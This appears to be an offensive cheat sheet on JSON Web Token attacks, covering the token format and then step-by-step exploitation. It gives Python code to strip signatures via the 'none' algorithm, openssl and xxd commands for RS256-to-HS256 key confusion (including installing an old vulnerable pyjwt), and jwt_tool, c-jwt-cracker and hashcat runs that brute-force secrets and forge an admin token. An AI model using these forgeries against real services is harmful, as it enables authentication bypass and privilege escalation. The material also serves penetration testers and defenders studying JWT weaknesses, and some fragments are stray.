JWT - JSON Web Token

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.



JWT Format

JSON Web Token : Base64(Header).Base64(Data).Base64(Signature)

Example : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY

Where we can split it into 3 components separated by a dot.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9        # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature

Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).

    "typ": "JWT",
    "alg": "HS256"
alg Param ValueDigital Signature or MAC AlgorithmRequirements
HS256HMAC using SHA-256Required
HS384HMAC using SHA-384Optional
HS512HMAC using SHA-512Optional
RS256RSASSA-PKCS1-v1_5 using SHA-256Recommended
RS384RSASSA-PKCS1-v1_5 using SHA-384Optional
RS512RSASSA-PKCS1-v1_5 using SHA-512Optional
ES256ECDSA using P-256 and SHA-256Recommended
ES384ECDSA using P-384 and SHA-384Optional
ES512ECDSA using P-521 and SHA-512Optional
PS256RSASSA-PSS using SHA-256 and MGF1 with SHA-256Optional
PS384RSASSA-PSS using SHA-384 and MGF1 with SHA-384Optional
PS512RSASSA-PSS using SHA-512 and MGF1 with SHA-512Optional
noneNo digital signature or MAC performedRequired


    "name":"Amazing Haxx0r",

Claims are the predefined keys and their values:

  • iss: issuer of the token
  • exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
  • iat: The time the JWT was issued. Can be used to determine the age of the JWT
  • nbf: "not before" is a future time when the token will become active.
  • jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
  • sub: subject of the token (rarely used)
  • aud: audience of the token (also rarely used)

JWT Encoder – Decoder: http://jsonwebtoken.io

JWT Signature - None algorithm

JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.

None algorithm variants:

  • none
  • None
  • NONE
  • nOnE

To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.

However, this won't work unless you remove the signature

Alternatively you can modify an existing JWT (be careful with the expiration time)

# -*- coding: utf-8 -*-

import jwt


decodedToken 	= jwt.decode(jwtToken, verify=False)  					# Need to decode the token before encoding with type 'None'
noneEncoded 	= jwt.encode(decodedToken, key='', algorithm=None)



JWT Signature - RS256 to HS256

Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.

The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

:warning: This behavior is fixed in the python library and will return this error jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.. You need to install the following version: pip install pyjwt==0.4.3.

Here are the steps to edit an RS256 JWT token into an HS256

  1. Convert our public key (key.pem) into HEX with this command.

    $ cat key.pem | xxd -p | tr -d "\\n"
  2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.

    $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
    (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
  3. Convert signature (Hex to "base64 URL")

    $ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
  4. Add signature to edited payload


Breaking JWT's secret

Encode/Decode JWT with the secret.

import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret'

encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE"
jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key

# result
{u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'}

JWT tool

First, bruteforce the "secret" key used to compute the signature.

git clone https://github.com/ticarpi/jwt_tool
python2.7 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI /tmp/wordlist

Token header values:
[+] alg = HS256
[+] typ = JWT

Token payload values:
[+] sub = 1234567890
[+] role = user
[+] iat = 1516239022

File loaded: /tmp/wordlist
Testing 5 passwords...
[+] secret is the CORRECT key!

Then edit the field inside the JSON Web Token.

Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Finally, finish the token by signing it with the previously retrieved "secret" key.

Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file

Please select an option from above (1-4):
> 1

Please enter the known key:
> secret

Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic

JWT cracker

git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Secret is "Sn1f"


Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src

/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a